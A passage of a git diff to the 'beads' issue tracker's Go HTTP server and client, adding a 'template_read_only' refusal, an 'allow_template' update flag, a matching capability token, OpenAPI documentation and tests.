(`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown, and `issues.update.allowTemplate`, which announces that `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see `UpdateIssueRequest`) rather than a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -1607,7 +1607,7 @@ type Problem struct { // IT IS OPTIONAL. A refusal that could not name its blockers omits it and keeps the generic `detail`; absence means "this refusal did not name them", never "nothing blocks it". Re-read the issue's dependencies then. Blockers *[]Blocker `json:"blockers,omitempty"` - // Code The stable machine-readable reason, and the ONLY member a client may dispatch on. v0's vocabulary: `invalid_argument` (400, also emitted by the Host-header middleware on any route), `invalid_cursor` (400), `unauthenticated` (401, only on a server configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), `dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), `busy` (503), `db_unavailable` (503), `events_watch_saturated` (503), `internal` (500). Renaming or removing a status+code pair is a breaking change; ADDING one is not, so clients MUST default-branch on unknown values and fall back to the status class (unknown 4xx → client bug, fail loud; unknown 503 → retry per `Retry-After`; other unknown 5xx → server fault). + // Code The stable machine-readable reason, and the ONLY member a client may dispatch on. v0's vocabulary: `invalid_argument` (400, also emitted by the Host-header middleware on any route), `invalid_cursor` (400), `unauthenticated` (401, only on a server configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), `template_read_only` (409), `dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), `busy` (503), `db_unavailable` (503), `events_watch_saturated` (503), `internal` (500). Renaming or removing a status+code pair is a breaking change; ADDING one is not, so clients MUST default-branch on unknown values and fall back to the status class (unknown 4xx → client bug, fail loud; unknown 503 → retry per `Retry-After`; other unknown 5xx → server fault). Code string `json:"code"` // DeclaredLater With `invalid_argument` on a batch operation whose items may name each other: whether the unresolvable key IS declared by the request, at a LATER index. @@ -2096,6 +2096,9 @@ type UpdateIssueRequest struct { // Actor Who is editing the issue. `ClaimRequest.actor`'s rules exactly: the server trims it, then refuses an empty result, anything longer than 256 BYTES (the `maxLength` above counts characters — the byte limit is the binding one), and any control character including newline. The value reaches the history entry's attribution and the storage commit message, so an unvalidated newline would forge audit-trail lines. Actor string `json:"actor"` + // AllowTemplate The caller edits a template deliberately, so the template read-only refusal (`409 template_read_only`) stands down for this request. `bd label` and `bd set-state` send it: they have always written to templates. It bypasses nothing else, and has no effect on an issue that is not a template. Advertised by the `issues.update.allowTemplate` capability token; a server that predates the member refuses it as an unknown parameter, and such a server never applies the template guard either. + AllowTemplate *bool `json:"allow_template,omitempty"` + // Claim Claims the issue for `actor` in the same transaction as `patch`: `bd update --claim`, served by the same role. The claim sets `assignee` to `actor` and `status` to `in_progress`, then the patch applies, so a `patch.assignee` or `patch.status` overrides the claim's value. Eligibility is `{id}:claim`'s: a claimable status, and unassigned, already held by `actor`, or held by a configured claim pool. Held by `actor` and `in_progress` already is an idempotent success. A refusal is `409 already_claimed` or `409 not_claimable` naming `claim`, and writes nothing — the patch included. With `claim: true` the `patch` may be empty. It must not be combined with `expected_assignee`, `expected_status` or `force_assignee_transfer`; a request that does is a `400` naming `claim`. Claim *bool `json:"claim,omitempty"` diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index 723ce8615..8b2e3fcba 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -1054,6 +1054,11 @@ func (s *Server) failApplyBatch(w http.ResponseWriter, r *http.Request, request s.fail(w, r, at(closeBlockedResult(err, "an item closes a blocked issue", "clear the blocker, or send the item's force flag"), "")) + // An update item naming a template: the shared mapping plus the item + // members. + case errors.Is(err, issueops.ErrTemplateReadOnly): + s.fail(w, r, at(ClassifyError(err), "")) + case errors.Is(err, storage.ErrAlreadyClaimed): res := at(newResult(CodeAlreadyClaimed, "an update transfers work away from a live foreign owner; send `force_assignee_transfer`, or guard with `expected_assignee`"), "assignee") diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index 87618d3bd..a7694e09a 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -136,6 +136,16 @@ const ( // notes and the patched ones), not about a foreign actor's identity a // client might need to display. CodeNotesOverwrite Code = "notes_overwrite_refused" + // CodeTemplateReadOnly is a guarded mutation that names a template; + // operationCodes lists the operations that answer it, and not every verb + // guards templates yet (bd-jkp9v3). Templates are read-only — work comes + // out of one by pouring it, which creates new issues — so no force flag + // waives it: the same request refuses for as long as the row is a + // template. The one stand-down is updateIssue's `allow_template`, a + // deliberate template edit (bd label, bd set-state). + // A 409 for CodeNotClosable's reason: the body is well-formed and the + // STATE of the named row refuses it. + CodeTemplateReadOnly Code = "template_read_only" // CodeDependencyCycle covers BOTH never-makes-progress refusals a requested // edge set can earn: a scheduling cycle, and a blocking edge against the // issue's own ancestor or descendant. They are one code because they have @@ -262,6 +272,7 @@ var codeStatus = map[Code]int{ CodeNotClaimable: http.StatusConflict, CodeNotClosable: http.StatusConflict, CodeNotesOverwrite: http.StatusConflict, + CodeTemplateReadOnly: http.StatusConflict, CodeNotReleasable: http.StatusConflict, CodeDependencyCycle: http.StatusConflict, CodeDependencyExists: http.StatusConflict, @@ -897,9 +908,14 @@ var operationCodes = map[string][]Code{ // // not_claimable arrived with `claim`, beside the already_claimed it shares // with the fence: a refused claim answers as claimIssue does. + // + // template_read_only is the role refusing an update of a template: + // templates are read-only, no force flag waives it, and only + // `allow_template` stands it down. OpUpdateIssue: { CodeInvalidArgument, CodeUnauthenticated, CodeNotFound, CodePreconditionFailed, CodeNotClosable, CodeAlreadyClaimed, CodeNotesOverwrite, + CodeTemplateReadOnly, CodeNotClaimable, CodeDependencyCycle, CodeDependencyExists, CodeBusy, CodeDBUnavailable, CodeInternal, }, @@ -962,6 +978,7 @@ var operationCodes = map[string][]Code{ OpApplyBatch: { CodeInvalidArgument, CodeUnauthenticated, CodeNotFound, CodePreconditionFailed, CodeNotClosable, CodeAlreadyClaimed, CodeNotesOverwrite, CodeAlreadyExists, + CodeTemplateReadOnly, CodeDependencyCycle, CodeDependencyExists, CodeBusy, CodeDBUnavailable, CodeInternal, }, @@ -1543,6 +1560,11 @@ func ClassifyError(err error) Result { case errors.Is(err, issueops.ErrCloseBlocked): return closeBlockedResult(err, "issue is blocked", "clear the blocker or close with force") + // The detail is this server's own words rather than the role's message, + // for the reason Problem.detail gives. + case errors.Is(err, issueops.ErrTemplateReadOnly): + return newResult(CodeTemplateReadOnly, "this issue is a template, and templates are read-only; pour it to create work") + case errors.Is(err, ErrBusy): res := newResult(CodeBusy, "") res.RetryAfterSeconds = retryAfterSaturation diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index 1dc78fa94..f0c7b69d9 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -161,6 +161,19 @@ const CapIssuesSweepLimit = "issues.sweep.limit" // predate it; it refuses locally before the dial when the token is absent. const CapBatchApplyDepAddLineage = "issues.batchApply.depAddLineage" +// CapIssuesUpdateAllowTemplate is the behavior capability that advertises +// two things together: updateIssue enforces the role's template read-only +// refusal, and UpdateIssueRequest's `allow_template` member (update.go) stands +// it down for one request (the caller edits a template deliberately). An +// older server predating this token answers the member with +// `400 invalid_argument`/`unknown_parameter` and applies no template guard, +// so a client that does not see the token refuses a template update itself +// before the dial and sends the request without the member. That fallback +// covers updateIssue only: an applyBatch `update` item gets no client-side +// check (its target resolves on the server), so through an older server it +// still edits a template (bd-jkp9v3). +const CapIssuesUpdateAllowTemplate = "issues.update.allowTemplate" + // customMethodTarget splits the custom method off the segment the router // matched, and reports the row that claims it. // @@ -922,7 +935,7 @@ func (r route) specPathOf() string { var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope, CapIssuesSweepWispsPlane, CapIssuesSweepLiveDependents, CapIssuesSweepLimit, - CapBatchApplyDepAddLineage, + CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, } // Capabilities lists what this build advertises in ContextResponse.capabilities: diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index 6f787874c..0460d6231 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -637,7 +637,7 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { // oracle rather than a second call to the code under test. want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope", "issues.sweep.wispsPlane", "issues.sweep.liveDependents", "issues.sweep.limit", - "issues.batchApply.depAddLineage") + "issues.batchApply.depAddLineage", "issues.update.allowTemplate") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 0c087a175..6d9c5b354 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -2501,10 +2501,11 @@ paths: '409': description: >- The request is well-formed and the STATE refuses it, and NOTHING WAS - WRITTEN. Six codes, each inherited from the operation that already - publishes it rather than minted here, and described in the - paragraphs below — `dependency_cycle` and `dependency_exists` share - one, because they are one member reaching the graph. + WRITTEN. Eight codes, described in the paragraphs below; all but + `template_read_only` are inherited from the operation that already + publishes them rather than minted here, and `dependency_cycle` and + `dependency_exists` share one paragraph, because they are one member + reaching the graph. `already_claimed` and `not_claimable` with `param: "claim"` are a @@ -2557,9 +2558,18 @@ paths: both of which write blocking edges and do carry it: this operation publishes no member that writes one. What you get here is the plain scheduling cycle, every time. + + + `template_read_only` is an update of a template. Templates are + read-only — work comes out of one by pouring it — so every update + naming one refuses, whatever the patch and force flags, unless it + sets `allow_template` (a deliberate template edit). + It is checked after the guards above, so a stale guard still answers + `precondition_failed`. x-bd-codes: [already_claimed, dependency_cycle, dependency_exists, - not_claimable, not_closable, notes_overwrite_refused, precondition_failed] + not_claimable, not_closable, notes_overwrite_refused, precondition_failed, + template_read_only] content: application/problem+json: schema: @@ -4328,6 +4338,11 @@ paths: per-item bypasses, and a forced item never earns this. + `template_read_only` is an `update` item whose target is a + template, exactly as `PATCH /v0/beads/issues/{id}` answers it; no + item member bypasses it. + + `already_claimed` is the assignee fence: an `update` whose `patch.assignee` transfers work away from a live foreign in-progress owner. `update.force_assignee_transfer` is the bypass, and @@ -4357,7 +4372,8 @@ paths: a malformed request. x-bd-codes: [already_claimed, already_exists, dependency_cycle, - dependency_exists, not_closable, notes_overwrite_refused, precondition_failed] + dependency_exists, not_closable, notes_overwrite_refused, precondition_failed, + template_read_only] content: application/problem+json: schema: @@ -8065,7 +8081,11 @@ components: `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than - a `400` naming the member unknown. The + a `400` naming the member unknown, and + `issues.update.allowTemplate`, which announces that + `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see + `UpdateIssueRequest`) rather than a `400` naming the member + unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. @@ -11597,6 +11617,18 @@ components: `expected_assignee` exemption: there is no compare-and-set that authorizes a notes overwrite, so combining the two is legal and each answers its own question. + allow_template: + type: boolean + default: false + description: >- + The caller edits a template deliberately, so the template read-only + refusal (`409 template_read_only`) stands down for this request. + `bd label` and `bd set-state` send it: they have always written to + templates. It bypasses nothing else, and has no effect on an issue + that is not a template. Advertised by the + `issues.update.allowTemplate` capability token; a server that + predates the member refuses it as an unknown parameter, and such a + server never applies the template guard either. IssuePatchBody: type: object @@ -12153,6 +12185,7 @@ components: configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), + `template_read_only` (409), `dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), diff --git a/internal/httpapi/update.go b/internal/httpapi/update.go index 35feb3932..64df715ce 100644 --- a/internal/httpapi/update.go +++ b/internal/httpapi/update.go @@ -39,7 +39,8 @@ const ( var ( updateRequestMembers = []string{ "actor", updateClaimMember, "expected_assignee", "expected_status", "expected_version", - "force_assignee_transfer", "force_close_policy", "force_notes_overwrite", updatePatchMember, + "force_assignee_transfer", "force_close_policy", "force_notes_overwrite", "allow_template", + updatePatchMember, } issuePatchMembers = []string{ "title", "description", "design", "acceptance_criteria", @@ -181,6 +182,12 @@ func (s *Server) updateRequest(w http.ResponseWriter, r *http.Request, id string if !ok { return issueops.UpdateRequest{}, false } + // allow_template is passed through: the role owns the template guard and + // what standing it down means. + allowTemplate, ok := s.booleanMember(w, r, members, "allow_template") + if !ok { + return issueops.UpdateRequest{}, false + } if forceNotesOverwrite && !patch.Notes.Set { s.fail(w, r, InvalidArgument("force_notes_overwrite", ReasonInvalidValue, "`force_notes_overwrite` bypasses the fence on a NOTES REPLACEMENT; send `patch.notes` with it")) @@ -244,6 +251,7 @@ func (s *Server) updateRequest(w http.ResponseWriter, r *http.Request, id string ForceClosePolicy: forceClosePolicy, ForceAssigneeTransfer: forceAssigneeTransfer, ForceNotesOverwrite: forceNotesOverwrite, + AllowTemplate: allowTemplate, Provenance: updateProvenance, }, true } diff --git a/internal/httpapi/update_template_test.go b/internal/httpapi/update_template_test.go new file mode 100644 index 000000000..505535c2a --- /dev/null +++ b/internal/httpapi/update_template_test.go @@ -0,0 +1,107 @@ +package httpapi + +import ( + "fmt" + "net/http" + "strings" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +// The template guard is the ROLE's (issueops.Lifecycle.Update, and the batch +// applier's update items, which share its body), so these cases drive a fake +// role that refuses the way the real one does and pin what the wire makes of +// it. The real role behind a real server is the served leg of the conformance +// contracts (internal/httpclient: TestServedLifecycleUpdateRefusesATemplate and +// TestServedBatchApplyUpdateItemsRefuseATemplate), which also proves the client +// rebuilds the typed error. + +// templateRefusal is the refusal as a unit-of-work backend returns it: wrapped, +// so the mapping has to find it by type rather than by being handed the value. +func templateRefusal() error { + return fmt.Errorf("update bd-1: %w", &issueops.TemplateReadOnlyError{IssueID: "bd-1"}) +} + +func assertTemplateDetailIsOurs(t *testing.T, detail any) { + t.Helper() + text, _ := detail.(string) + if text == "" || strings.Contains(text, "cannot modify template") { + t.Errorf("detail = %q, want this server's own sentence rather than the role's", text) + } +} + +func TestUpdateOfATemplateIsATypedConflict(t *testing.T) { + lifecycle := &roleLifecycle{updateErr: templateRefusal()} + ts := newUpdateServer(t, lifecycle) + + resp := ts.updateIssue(t, updatePath, `{"actor":"alice","patch":{"title":"edited"},"force_close_policy":true}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want 409: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeTemplateReadOnly) { + t.Errorf("code = %v, want %s", body["code"], CodeTemplateReadOnly) + } + assertTemplateDetailIsOurs(t, body["detail"]) + // The handler decides nothing: the request reached the role whole, force + // flag included, and the refusal is the role's. + if got := lifecycle.updateRequests(); len(got) != 1 || !got[0].ForceClosePolicy { + t.Fatalf("the role received %+v, want one request carrying ForceClosePolicy", got) + } +} + +func TestApplyBatchUpdateItemOnATemplateIsATypedConflict(t *testing.T) { + applier := &roleBatchApplier{err: itemErr(1, issueops.ItemUpdate, "", "bd-1", templateRefusal())} + ts := newApplyBatchServer(t, applier) + + resp := ts.claim(t, batchApplyPath, `{"actor":"alice","items":[{"kind":"create","create":{"title":"one"}}]}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want 409: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeTemplateReadOnly) { + t.Errorf("code = %v, want %s", body["code"], CodeTemplateReadOnly) + } + if body["item_index"] != float64(1) || body["item_kind"] != "update" || body["item_issue_id"] != "bd-1" { + t.Errorf("item members = %v/%v/%v, want 1/update/bd-1", body["item_index"], body["item_kind"], body["item_issue_id"]) + } + assertTemplateDetailIsOurs(t, body["detail"]) +} + +// TestUpdateCarriesAllowTemplateToTheRole pins that `allow_template` is decoded +// onto the role request and nothing else: the role owns what it waives. +func TestUpdateCarriesAllowTemplateToTheRole(t *testing.T) { + for _, tc := range []struct { + body string + want bool + }{ + {`{"actor":"alice","patch":{"title":"edited"},"allow_template":true}`, true}, + {`{"actor":"alice","patch":{"title":"edited"},"allow_template":false}`, false}, + {`{"actor":"alice","patch":{"title":"edited"}}`, false}, + } { + lifecycle := &roleLifecycle{updateResult: issueops.UpdateResult{Issue: updatedIssue("bd-1"), Changed: true}} + ts := newUpdateServer(t, lifecycle) + resp := ts.updateIssue(t, updatePath, tc.body) + if resp.StatusCode != http.StatusOK { + t.Fatalf("%s: status = %d, want 200: %s", tc.body, resp.StatusCode, readAll(t, resp)) + } + _ = resp.Body.Close() + got := lifecycle.updateRequests() + if len(got) != 1 || got[0].AllowTemplate != tc.want { + t.Errorf("%s: the role received %+v, want AllowTemplate=%v", tc.body, got, tc.want) + } + } +} + +func TestUpdateRefusesANonBooleanAllowTemplate(t *testing.T) { + lifecycle := &roleLifecycle{} + ts := newUpdateServer(t, lifecycle) + resp := ts.updateIssue(t, updatePath, `{"actor":"alice","patch":{"title":"edited"},"allow_template":"yes"}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + if got := lifecycle.updateRequests(); len(got) != 0 { + t.Errorf("the role was reached with %+v", got) + } +} diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index a9c50dec3..89c866bab 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -4781,6 +4781,12 @@ "type": "string", "required": true }, + { + "schema": "UpdateIssueRequest", + "member": "allow_template", + "type": "boolean", + "required": false + }, { "schema": "UpdateIssueRequest", "member": "claim", diff --git a/internal/httpclient/lifecycle.go b/internal/httpclient/lifecycle.go index 06f583730..1bad6d62c 100644 --- a/internal/httpclient/lifecycle.go +++ b/internal/httpclient/lifecycle.go @@ -15,6 +15,7 @@ import ( "github.com/steveyegge/beads/internal/httpapi/apigen" "github.com/steveyegge/beads/internal/httpclient/encode" "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) @@ -330,6 +331,11 @@ func (l *httpLifecycle) Update(ctx context.Context, req issueops.UpdateRequest) return issueops.UpdateResult{}, invalid("update names no field to write") } + req, err = l.applyTemplateGuardForServer(ctx, req) + if err != nil { + return issueops.UpdateResult{}, err + } + res, err := l.wire.UpdateIssue(ctx, req.IssueID, req.Actor, patch, updateGuards(req), updateFlags(req)) if err != nil { if req.Claim && isClaimOnlyUpdate(req) && serverPredatesUpdateClaim(err) { @@ -384,6 +390,7 @@ func updateFlags(req issueops.UpdateRequest) wire.UpdateFlags { ForceAssigneeTransfer: req.ForceAssigneeTransfer, ForceClosePolicy: req.ForceClosePolicy, ForceNotesOverwrite: req.ForceNotesOverwrite, + AllowTemplate: req.AllowTemplate, } } @@ -406,6 +413,38 @@ func serverPredatesUpdateClaim(err error) bool { problem.Param == "claim" } +// applyTemplateGuardForServer decides, BEFORE the dial and from the cached +// handshake, how the template read-only guard (storage +// issueops.AuthorizeTemplateUpdate) reaches the server this request goes to. +// +// A server advertising wire.CapIssuesUpdateAllowTemplate enforces the guard in +// the update's own transaction and accepts `allow_template`, so req goes out +// as is. A server without the token predates both: it would edit a template +// for any caller, and it refuses `allow_template` as an unknown parameter. So +// against it the client runs the same rule itself, on a pre-read of the row — +// the refusal `bd update` and `bd assign` always made before dialing — and +// clears AllowTemplate, which that server has no guard to stand down. A row +// the pre-read cannot find goes out unchanged: the server's own not-found +// answer is the one to report. +func (l *httpLifecycle) applyTemplateGuardForServer(ctx context.Context, req issueops.UpdateRequest) (issueops.UpdateRequest, error) { + snap, err := l.store.snapshot(ctx) + if err != nil { + return req, err + } + if snap != nil && slices.Contains(snap.Capabilities, wire.CapIssuesUpdateAllowTemplate) { + return req, nil + } + if req.AllowTemplate { + req.AllowTemplate = false + return req, nil + } + before, err := l.store.GetIssue(ctx, req.IssueID) + if err != nil { + return req, err + } + return req, storageops.AuthorizeTemplateUpdate(before, req) +} + // Close dials POST issues/{id}:close. func (l *httpLifecycle) Close(ctx context.Context, req issueops.CloseRequest) (issueops.CloseResult, error) { if err := requireActor(req.Actor); err != nil { @@ -625,6 +664,7 @@ func isClaimOnlyUpdate(req issueops.UpdateRequest) bool { !req.ForceAssigneeTransfer && !req.ForceClosePolicy && !req.ForceNotesOverwrite && + !req.AllowTemplate && !req.IssuePlaneOnly && req.Provenance == "" && req.ExpectedVersion == nil && diff --git a/internal/httpclient/served_batch_apply_test.go b/internal/httpclient/served_batch_apply_test.go index d7fa20172..fa21e6b0c 100644 --- a/internal/httpclient/served_batch_apply_test.go +++ b/internal/httpclient/served_batch_apply_test.go @@ -247,6 +247,20 @@ func TestServedBatchApplyRefusesAnUnusableRequest(t *testing.T) { conformance.RunBatchApplyRefusesAnUnusableRequest(t, t.Context(), newServedBatchApplyFixture(t, "hba26")) } +func TestServedBatchApplyUpdateItemsRefuseATemplate(t *testing.T) { + conformance.RunBatchApplyUpdateItemsRefuseATemplate(t, t.Context(), newServedBatchApplyFixture(t, "hbatu")) +} + +// TestServedBatchApplySplicesTheMetadataOfATemplateItCreates is PARKED: a create +// item cannot make a template over the v0 wire (ApplyCreateItem publishes no +// is_template member), so the client refuses the plan before the splice could +// be reached. The served update guard itself is pinned by the case above. +func TestServedBatchApplySplicesTheMetadataOfATemplateItCreates(t *testing.T) { + skipKnownDivergence(t, "W-CreateItem.Issue", parkBead, + "ApplyCreateItem publishes no is_template member, so a plan that creates a template is refused client-side") + conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, t.Context(), newServedBatchApplyFixture(t, "hbats")) +} + // TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed wires the dep_add // HasSpawner/ThreadID lineage conformance case onto the http leg (S5): a // served default Config always advertises CapBatchApplyDepAddLineage (it is diff --git a/internal/httpclient/served_claim_lifecycle_test.go b/internal/httpclient/served_claim_lifecycle_test.go index 77a995752..9f8033046 100644 --- a/internal/httpclient/served_claim_lifecycle_test.go +++ b/internal/httpclient/served_claim_lifecycle_test.go @@ -762,6 +762,19 @@ func TestServedLifecycleUpdateProvenanceLabelsHistory(t *testing.T) { conformance.RunLifecycleUpdateProvenanceLabelsHistory(t, t.Context(), newServedUpdateFixture(t, "hlpv")) } +// TestServedLifecycleUpdateRefusesATemplate is the served leg of the template +// guard: bd serve refuses with template_read_only and the client rebuilds the +// typed error — sentence included — the embedded store returns. +func TestServedLifecycleUpdateRefusesATemplate(t *testing.T) { + conformance.RunLifecycleUpdateRefusesATemplate(t, t.Context(), newServedUpdateFixture(t, "hlut")) +} + +// TestServedLifecycleUpdateAllowTemplateEditsATemplate is the served leg of +// the guard's stand-down: allow_template rides the wire and the role honours it. +func TestServedLifecycleUpdateAllowTemplateEditsATemplate(t *testing.T) { + conformance.RunLifecycleUpdateAllowTemplateEditsATemplate(t, t.Context(), newServedUpdateFixture(t, "hlua")) +} + func TestServedLifecycleUpdateRefusesUnknownIDsAndActorlessRequests(t *testing.T) { conformance.RunLifecycleUpdateRefusesUnknownIDsAndActorlessRequests(t, t.Context(), newServedUpdateFixture(t, "hluu")) } diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index 60476683a..a52f81cb1 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -209,6 +209,18 @@ const CapSweepLimit = "issues.sweep.limit" // asked to carry against an older server. const CapBatchApplyDepAddLineage = "issues.batchApply.depAddLineage" +// CapIssuesUpdateAllowTemplate is the behavior capability announcing that +// updateIssue enforces the template read-only guard and accepts +// `allow_template` to stand it down, spelled exactly as httpapi's constant of +// the same name. Lifecycle.Update reads it from the cached handshake before +// the dial (applyTemplateGuardForServer): against a server without it, which +// predates the guard, the client refuses a template update itself on a +// pre-read and never sends `allow_template`. BatchApplier does not read it: +// an applyBatch `update` item gets no client-side check (its target resolves +// on the server), so through an older server it still edits a template +// (bd-jkp9v3). +const CapIssuesUpdateAllowTemplate = "issues.update.allowTemplate" + // CapExternalDependencies is the CONDITIONAL behavior capability announcing // that the ready, claim and close operations of this server apply bd's // external-dependency policy themselves, spelled exactly as httpapi's constant @@ -349,7 +361,7 @@ func (e *WireRevisionSkewError) Unwrap() error { return ErrWireRevisionSkew } var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope, CapSweepWispsPlane, CapSweepLiveDependents, CapSweepLimit, - CapBatchApplyDepAddLineage, + CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, } // CapabilityFor reports the capability token gating op, and whether op is on diff --git a/internal/httpclient/wire/problem.go b/internal/httpclient/wire/problem.go index db2371718..a02dc3d34 100644 --- a/internal/httpclient/wire/problem.go +++ b/internal/httpclient/wire/problem.go @@ -638,6 +638,13 @@ var codeSentinel 